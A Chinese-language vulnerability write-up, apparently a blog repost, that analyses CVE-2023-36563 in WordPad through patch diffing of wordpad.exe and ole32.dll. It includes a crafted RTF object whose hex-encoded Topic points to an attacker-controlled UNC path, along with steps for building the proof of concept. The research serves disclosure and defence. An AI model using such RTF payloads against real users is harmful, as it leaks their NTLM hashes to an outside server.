CVE-2023-36563 Wordpad 信息泄露漏洞分析

admin 2024年2月15日20:17:13评论11 views字数 5270阅读17分34秒阅读模式

基本信息

wordpad在解析rtf文件包含的ole对象时会尝试访问Linked object的Topic指向的文件,如果Topic是一个UNC路径则会尝试通过网络访问,并尝试使用NTLM认证,导致泄露NTLM hash。

影响版本

环境搭建

  • windows 10 21h2 2023-09补丁

技术分析&调试

初次看这个漏洞,直觉上很类似今年4月份的在野利用漏洞CVE-2023-23397 outlook eop|CVE-2023-23397 outlook 权限提升漏洞,都是泄露NTLM hash,该漏洞也可能是在某种文件的某个属性使用了UNC路径,使得wordpad加载远程资源,造成NTLM hash泄露。

补丁diff

diff wordpad.exe,可以看到修改了如下函数CVE-2023-36563 Wordpad 信息泄露漏洞分析

同时在修复后的wordpad.exe中新增了QueryConvertOLELinkCallback函数和_LoadImageWithWIC_0,根据微软的函数命名规则,QueryConvertOLELinkCallback可能用于查询并转换OLE链接回调函数,比较符合我们的猜测。

CVE-2023-36563 Wordpad 信息泄露漏洞分析

附上AI解释CVE-2023-36563 Wordpad 信息泄露漏洞分析

对比各个修改后的函数,可以看出LoadImageResource为加载Image的资源节里面的资源,不是很符合我们之前的假设CVE-2023-36563 Wordpad 信息泄露漏洞分析

回到补丁新增的函数中,对于新增的函数QueryConvertOLELineCallback,其在CRichEdit2View::OnCreate函数中调用,在diff中可以看到补丁中将该函数作为回调函数指针传递给了SendMessageW,目标窗口可以取出这个回调函数指针并调用

CVE-2023-36563 Wordpad 信息泄露漏洞分析

CVE-2023-36563 Wordpad 信息泄露漏洞分析

分析到这可以猜测是wordpad打开OLE对象时,将某个属性作为UNC路径进行了解析并访问,导致NTLM hash泄露。ole对象相关功能由ole32.dll实现,diff ole32.dll,主要修改了如下函数

  • OLESTREAMToGenericObject

  • wConvertOLESTREAMToIStorage

  • OleConvertOLESTREAMToIStorage

  • OleConvertOLESTREAMToIStorageEx

    CVE-2023-36563 Wordpad 信息泄露漏洞分析

新增了如下函数

  • IsAppExcludedFromOLELinkConversionRegistrySetting

  • CheckOLELinkConversionRegistrySetting

  • FindStringInMultiString

  • OleConvertOLESTREAMToIStorage2

  • OleConvertOLESTREAMToIStorageEx2

    CVE-2023-36563 Wordpad 信息泄露漏洞分析

在OLESTREAMToGenericObject函数diff中可以看到调用了wordpad中传递的函数指针QueryConvertOLELineCallback,并使用PrependUNCName将szUNC添加UNC路径后赋给a2->m_szTopic。CVE-2023-36563 Wordpad 信息泄露漏洞分析

因此可以得出结论:该漏洞是将ole对象的m_szTopic作为UNC路径进行访问。

谷歌搜索OLESTREAMToGenericObject,在其他安全研究员发表的其他ole漏洞分析中看到了如下

CVE-2023-36563 Wordpad 信息泄露漏洞分析

OLE格式可以在OLD微软官方文档中看到,FormatID标识了ole对象类型,根据之前的分析可以知道是LinkedObject导致了该漏洞的产生。CVE-2023-36563 Wordpad 信息泄露漏洞分析

根据微软文档,LinkedObject是单独的源文件中的对象。如果源文件中的对象发生更改,则文档中的对象将自动更新以反映这些更改。

linked object: An object that is inserted into a document and continues to exist in a separate source file. If the object in the source file changes, the object in the document is updated automatically to reflect those changes.

通过wordpad创建一个rtf文件并嵌入ole对象,使用编辑器打开可以看到如下,根据文档可知该ole对象类型为EmbedObject

{rtf1ansiansicpg54936deff0nouicompatdeflang1033deflangfe2052{fonttbl{f0fnilfcharset134 'cb'ce'cc'e5;}}{*generator Riched20 10.0.19041}viewkind4uc1pardsa200sl276slmult1f0fs22lang2052 fff{objectobjemb{*objclass PBrush}objw2835objh2835{*objdata010500000200000007000000504272757368000000000000000000a0a30100424d8ea30100000000003600000028000000bd000000bd000000010018000000000058a3010000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

下载ole tools[https://github.com/decalage2/oletools],查看wordpad生成的rtf文件信息

➜ rtfobj.exe .test.rtfrtfobj 0.60.1 on Python 3.9.6 - http://decalage.info/python/oletoolsTHIS IS WORK IN PROGRESS - Check updates regularly!Please report any issue at https://github.com/decalage2/oletools/issues===============================================================================File: '.\test.rtf' - size: 661865 bytes---+----------+---------------------------------------------------------------id |index     |OLE Object---+----------+---------------------------------------------------------------0  |00000118h |format_id: 2 (Embedded)   |          |class name: b'PBrush'   |          |data size: 107424   |          |MD5 = '6eb1e875d3759af5e4b65cd324182471'---+----------+---------------------------------------------------------------

我们知道Topic属性是触发漏洞的关键,通过查看ole文档找到了关键信息,如果LinkedObject包含了ObjectHeader结构,则TopicName必须包含指向链接的文件路径,这个路径必须是绝对路径或者是UNC路径CVE-2023-36563 Wordpad 信息泄露漏洞分析

所以我们可以将UNC路径设置为我们的恶意服务器,重新构造rtf文件,成功触发

{rtf1ansiansicpg54936deff0nouicompatdeflang1033deflangfe2052{fonttbl{f0fnilfcharset134 'cb'ce'cc'e5;}}{*generator Riched20 10.0.19041}{*mmathPrmdispDef1mwrapIndent1440 }viewkind4uc1pardsa200sl276slmult1f0fs22lang2052{objectobjemb{*objclass Word.Document.8}objw585objh795{*objdata010500000100000010000000576f72642e446f63756d656e742e3800170000005c5c3139322e3136382e35322e3135365c312e7274660000000000000000000000000000000000010500000500000010000000576f72642e446f63756d656e742e38000e000000744000000100090000033a20000009001610000000001610000026060f002220574d464301000000000001

CVE-2023-36563 Wordpad 信息泄露漏洞分析

CVE-2023-36563 Wordpad 信息泄露漏洞分析

注意到即使设置了MotW,虽然wordpad会显示警告,但仍然会访问Topic指向的资源,在procmonitor中可以看到如下事件CVE-2023-36563 Wordpad 信息泄露漏洞分析

补丁和缓解措施分析

微软在补丁日后发布了一篇文章[https://support.microsoft.com/en-us/topic/kb5032314-how-to-manage-the-ole-object-conversion-vulnerability-associated-with-cve-2023-36563-98d95ae9-2f9e-4f65-9231-46363c31cf07],指出可以在 HKEY_LOCAL_MACHINESOFTWAREMicrosoftOleAppCompatOLELinkConversionFromOLESTREAMToIStorage中添加DWORD的Disabled值0x00000001来禁用,但我在win 10 21h2 9月补丁中应用了此方法,但不起作用,wordpad没有读取这个注册表。打开文件后仍然访问了UNC路径,泄露了NTLM hash

在前文补丁分析中已知,wordpad会传递回调函数给ole32一个回调函数,在ole32中,会先检查注册表是否禁用了ole对象链接转换,而后检查当前进程是否在白名单内,最后而后调用用户提供的回调函数,以运行用户自定义的规则。

PoC构造

打开wordpad,插入一个rtf对象,而后将Topic的长度和name字段替换为UNC路径即可,稍晚俩天poc会公布在我的GitHub

https://github.com/Chestnuts4/POC

小结

这个漏洞和预想中一样,是由于某个属性可以被设置为UNC路径,而后wordpad会访问这个UNC路径,虽然文件设置了MotW标识,wordpad显示了警告,但反常的是wordpad仍然在用户没有同意的情况下访问了目标UNC路径,这一点比较反直觉。

参考链接

https://securityonline.info/poc-released-for-microsoft-wordpad-cve-2023-36563-flaw-exploited-in-attacks/

https://www.dillonfrankesecurity.com/posts/cve-2023-36563-wordpad-analysis/

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-OLEDS/%5bMS-OLEDS%5d.pdf

原文始发于微信公众号(闲聊趣说):CVE-2023-36563 Wordpad 信息泄露漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日20:17:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-36563 Wordpad 信息泄露漏洞分析http://cn-sec.com/archives/2201412.html

发表评论

匿名网友 填写信息